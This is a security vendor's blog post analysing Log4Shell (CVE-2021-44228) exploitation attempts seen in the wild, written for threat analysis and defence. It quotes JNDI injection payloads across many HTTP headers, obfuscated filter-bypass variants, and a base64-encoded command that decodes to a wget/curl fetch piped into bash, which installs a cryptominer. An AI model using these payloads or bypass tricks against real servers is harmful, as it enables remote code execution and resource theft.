Product Demo Contact us
December 13, 2021 5m read

Log4J โ€“ A Look into Threat Actors Exploitation Attempts

Dolev Moshe Attiya
Avishay Zawoznik
Dolev Moshe Attiya , Avishay Zawoznik
Apache Log4j vulnerability

Table of Contents

Wondering where to begin your SASE journey?

We've got you covered!
Listen to post:
๐Ÿ”Š This audio player requires that "Preferences" cookies be accepted

On December 9, a critical zero-day vulnerability was discovered in Apache Log4j, a very common Java logging tool. Exploiting this vulnerability allows attackers to take control over the affected servers, and this prompted a CVSS (Common Vulnerability Scoring System) severity level of 10.

LogJam, also known as Log4Shell, is particularly dangerous because of its simplicity โ€“ forcing the application to write just one simple string allows attackers to upload their own malicious code to the application. To make things worse, working PoCs (Proof of Concept) are already available on the internet, making even inexperienced attackers a serious threat.

Another reason this vulnerability is getting so much attention is the mass adoption of Log4j by many enterprises. Amazon, Steam, Twitter, Cisco, Tesla, and many others all make use of this library, which means different threat actors have a very wide range of targets from which to choose. As the old saying goes โ€“ not every system is vulnerable, not every vulnerability is exploitable and not every exploit is usable, but when all of these align

Quick Mitigation

At Cato, we were able to push mitigation in no-time, as well as have it deploy across our network, requiring no action whatsoever from customers with IPS enabled. The deployment was announced in our Knowledge Base together with technical details for customers.

Moreover, we were able to set our detections based on traffic samples from the wild, thus minimizing the false positive rate from the very first signature deployment, and maximizing the protection span for different obfuscations and bypass techniques.

Here are a couple of interesting exploit attempts we saw in the wild. These attempts are a good representation of an attackโ€™s lifecycle and adoption by various threat actors, once such a vulnerability goes public.

Ransomware is on the rise | Download eBook

We found exploit attempts using the normal attack payload:

${jndi:ldap://<MALICIOUS DOMAIN>/Exploit}ย 

We identified some interesting variations and trends:

Adopted by Scanners

Interestingly, we stumbled across scenarios of a single IP trying to send the malicious payload over a large variety of HTTP headers in a sequence of attempts:

Access-Control-Request-Method: ${jndi:ldap://<REDACTED_IP>:42468/a}

Access-Control-Request-Headers: ${jndi:ldap://<REDACTED_IP>:42468/a}

Warning: ${jndi:ldap://<REDACTED_IP>:42468/a}

Authorization: ${jndi:ldap://<REDACTED_IP>:42468/a}

TE: ${jndi:ldap://<REDACTED_IP>:42468/a}

Accept-Charset: ${jndi:ldap://<REDACTED_IP>:42468/a}

Accept-Datetime: ${jndi:ldap://<REDACTED_IP>:42468/a}

Date: ${jndi:ldap://<REDACTED_IP>:42468/a}

Expect: ${jndi:ldap://<REDACTED_IP>:42468/a}

Forwarded: ${jndi:ldap://<REDACTED_IP>:42468/a}

From: ${jndi:ldap://<REDACTED_IP>:34467/a}

X-Api-Version: ${jndi:ldap://<REDACTED_IP>:42468/a}

Max-Forwards: ${jndi:ldap://<REDACTED_IP>:34467/a}

Such behavior might be attributed to Qualys vulnerability scanner, which claimed to add a number of tests that attempt sending the Log4j vulnerability payloads across different HTTP headers. While itโ€™s exciting to see the quick adoption of pentesting and scanning tools for this new vulnerability, one canโ€™t help but wonder what would happen if these tools were used by malicious actors.

Sinkholes Created

nspecting attack traffic allowed us to find sinkhole addressesย usedย forย checkingย vulnerable devices. Sinkholes are internet-facing servers that collect traffic sent to them when a vulnerabilityย PoCย is found to be successful.ย ย 

A bunch of HTTP requests with headersย such as the ones below indicate the use of a sinkhole:ย 

User-Agent: ${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragentย 

User-Agent: ${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}ย 

We can tell that theย sinkhole addressย matches the protocol and header on which the exploit attempt succeeds.ย ย 

This header seen in the wild:ย 

X-Api-Version: ${jndi:ldap://<REDACTED>.burpcollaborator.net/aย 

Thisย is an example of using theย burpcollaboratorย platformย forย sinkholingย successfulย PoCs.ย In this case, theย header used was an uncommon one, trying to bypass security products that might have overlooked it.ย ย 

Among many sinkholes,ย we also noticedย <string>.bingsearchlib.com, as mentionedย hereย too.ย ย 

Bypass Techniques

Bypass techniques are described in a couple of different GitHub projects ([1], [2]). These bypass techniques mostly leverage syntactic flexibility to alter the payload to one that wonโ€™t trigger signatures that capture the traditional PoC example only. Some others alter the target scheme from the well-known ldap:// to rmi://, dns:// and ldaps://

A funny one we found in the wild is:

GET /?x=${jndi:ldap://1.${hostName}.<REDACTED>.interactsh.com/a}  
Host: <REDACTED_IP>:8080 
User-Agent:ย ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://2.${hostName}.<REDACTED>.interactsh.com}ย 
Connection: close 
Referer: ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://3.${hostName}.<REDACTED>.interactsh.com} 
Accept-Encoding:ย gzipย 

In this request, the attacker attemptedย threeย different attack methods: the regular oneย (inย green), as well asย twoย obfuscated onesย (inย purple and orange).
Seems like theyโ€™ve assumedย a target that would modify the request, replacing the malicious part of the payload with a sanitized version. However,ย they missedย the fact that many modern security vendors would drop this request altogether, leaving them exposed to beingย signed and blockedย by their โ€œweakest link of obfuscation.โ€ย 
ย 

Real Attacks โ€“ Cryptomining on the Back of Exploitation Victims

While many of the techniques described above were used byย pentestingย tools and scanners toย showย a security risk, we also foundย trueย malicious actors attempting to leverageย CVE-2021-44228 to drop malicious code on vulnerable servers. The attacksย look like this:ย 

Authorization: ff=${jndi:ldap://<REDACTED_IP>:1389/Basic/Command/Base64/KHdnZXQgLU8gLSBodHRwOi8vMTg1LjI1MC4xNDguMTU3OjgwMDUvYWNjfHxjdXJsIC1vIC0gaHR0cDovLzE4NS4yNTAuMTQ4LjE1Nzo4MDA1L2FjYyl8L2Jpbi9iYXNoIA==}ย 

Base64-decoding the payload aboveย revealsย theย attackerโ€™s intentions:ย 

โ€ฆย 

(wgetย -O โ€“ย http[:]//<REDACTED_IP>:8005/acc||curl -o โ€“ http[:]//<REDACTED_IP>:8005/acc)|/bin/bashย 

Downloading the file namedย accย leadsย to a bash codeย thatย downloads and runsย XMrigย cryptominer.ย Furthermore, before doing so it closes allย existingย instances of theย miner andย shuts them off if their CPU usage is too high to keep under theย radar.ย Needless to say, theย minedย cryptoย coins make their way to the attackerโ€™s wallet.ย ย 

Theย SANS Honeypot Data API provides access to similar findings and variations of true attacksย that target their honeypots.ย ย 

 

The Apache Log4j vulnerability posesย aย great risk to enterprisesย thatย fail to mitigate it on time.ย As we described, the vulnerability was promptly used not only byย legitimateย scanners andย pentestingย tools, but by novice and advanced attackers, as well.ย Cato customersย were well taken care of. We made sure the riskย wasย promptlyย mitigated andย notified our customers thatย their networks are safe.ย Read all about it in ourย  blog post:ย Cato Networks Rapid Response to The Apache Log4J Remote Code Execution Vulnerability.ย Soย until the next time….ย 

 

 

Related Topics

Wondering where to begin your SASE journey?

We've got you covered!
Dolev Moshe Attiya

Dolev Moshe Attiya

Staff Research Engineer

Dolev Moshe Attiya is a staff research engineer at Cato Networks and member of Cato CTRL. Dolev plays a key role in fortifying Cato's security against emerging threats and CVEs, showcasing his commitment to excellence in the dynamic field of cybersecurity. Prior to joining Cato in 2020, Dolev worked at Check Point Software as a cyber security analyst. With over more than five years of experience, Dolev specializes in threat analysis, research, and developing advanced countermeasures. Dolev served in the Israel Defense Forces (IDF). Dolev holds a Bachelor of Science (B.S.) in Computer Science from Holon Institute of Technology.

Read More
Avishay Zawoznik

Avishay Zawoznik

Avishay Zawoznik is the team leader of Catoโ€™s security content team. Member of Cato Ctrl. Heโ€™s responsible for analyzing, research and developing protections against emerging threats and CVEs. Avishay brings more than seven years of experience leading cyber security research teams.

Read More